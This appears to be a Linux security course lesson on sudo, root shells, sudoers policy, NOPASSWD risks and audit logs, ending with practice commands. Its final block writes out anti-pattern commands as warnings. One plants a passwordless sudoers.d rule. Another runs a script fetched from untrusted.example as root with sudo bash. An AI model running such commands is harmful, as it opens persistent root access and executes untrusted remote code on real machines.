sudo & Root Access

Logging in as root (or su - to a full root shell) makes every process in that session UID 0. You will forget. You will rm the wrong path. You will open a web page. Daily root is dangerous because the blast radius is always maximum. Desktop distros that force a named user and sudo are teaching that lesson by default. Some lab images that drop you as root are a classroom shortcut — not a production lifestyle to copy onto a laptop you use for banking.

sudo command runs that one command as root (or another user), then drops back. You authenticate with your password, not root's, and auth.log / journal records who asked for what. That audit trail is why servers prefer sudo over a shared root password. After a successful sudo, many systems cache credentials for a few minutes (timestamp) so you are not retyping constantly — but that cache is still tied to your session, not a permanent god mode.

sudo -i is a login-style root shell: environment similar to root's login, HOME=/root, root's shell. sudo -s is a root shell that often keeps more of your environment. Both are useful for a burst of admin work. Both are easy to leave open. Type exit when the task ends. If your prompt still shows root@ or # hours later, you did not finish the hygiene half of the job. Prefer one-shot sudo apt install … over an idle root shell.

Who may sudo is defined in /etc/sudoers and files under /etc/sudoers.d/. A common line grants members of the sudo or wheel group the ability to run any command after authenticating. Always edit with visudo (or visudo -f for a drop-in file). visudo locks the file and checks syntax; a typo in sudoers can lock everyone out of privilege escalation until you recover from a rescue medium.

NOPASSWD: ALL means "this user can become root for anything without typing a password." It shows up in broken "convenience" guides and in attacker persistence after they plant a sudoers.d snippet. On a personal VM for learning you might see it; on a shared or production host it is a finding. Least privilege means granting the smallest command set needed — not ALL — and requiring a password when practical.

sudo -l (or sudo -ll) lists what you are allowed to run. Read it. If you see unexpected ALL or strange wrappers, treat that as inventory, not trivia. sudo -u otheruser command runs as another account when policy allows — useful for service accounts on boxes you administer. Do not use sudo to poke other users' homes on a school server "for practice." Scope stays on your VM/WSL/spare machine and files under your control.

Root bypasses discretionary permission checks on ordinary files. chmod 000 on a file does not stop root from reading it. Root can load kernel modules, change firewall rules, replace binaries in /usr/bin, and reset passwords. That is why supply-chain and "curl | bash" advice is so dangerous when run under sudo: you handed the script the keys. Read scripts before elevating them. Prefer package managers from trusted mirrors over pasted one-liners.

Logs matter. On many systems, successful and failed sudo attempts land in /var/log/auth.log or the journal (journalctl -u sudo or journalctl _COMM=sudo, depending on distro). Defenders hunt failed sudo storms and unexpected successful escalations. As a learner, knowing that sudo is audited should make you deliberate: elevate for apt update, not for cat ~/notes.txt.

su versus sudo: su switches user (often to root) and typically needs the target account password. sudo uses your password and a policy file. Shared root passwords scale poorly; sudo with named accounts scales better. If someone asks you to email your sudo password or paste sudoers from a random forum into production, stop. Lab machines you own are for learning; live systems need change control.

On your Ubuntu/Kali/WSL instance, confirm who you are (id, whoami), list sudo rights (sudo -l), and run a harmless elevated command such as sudo true or sudo whoami. Create notes under $HOME/cyberlium-lab — do not need root for that. If sudo asks for a password you do not know, you are not in the sudo group; fixing that is an admin task on your VM, not a reason to disable authentication on a shared host.

id
whoami
groups

sudo -l

sudo whoami          # expect root
whoami               # expect your normal user

sudo true
echo "sudo exit code: $?"

sudo -i    # only when you need a burst of admin work — then: exit

mkdir -p "$HOME/cyberlium-lab/m03-sudo"
cd "$HOME/cyberlium-lab/m03-sudo" || exit 1
printf '%s
' \
  "I elevate only when needed." \
  "I exit root shells." \
  "I never paste curl|sudo bash blindly." \
  > sudo-habits.txt
cat sudo-habits.txt

sudo tail -n 20 /var/log/auth.log

echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/bad
sudo bash -c "$(curl -fsSL http://untrusted.example/install.sh)"
sudo -i and leave it open while browsing
sudo ls /home/otherstudent   # not your lab

You now treat root as a blast radius, prefer one-shot sudo, read sudo -l, and distrust NOPASSWD: ALL and blind elevated pastes. Next — Lab — Permission Challenge — puts chmod modes on disk under $HOME so the bits stop being abstract.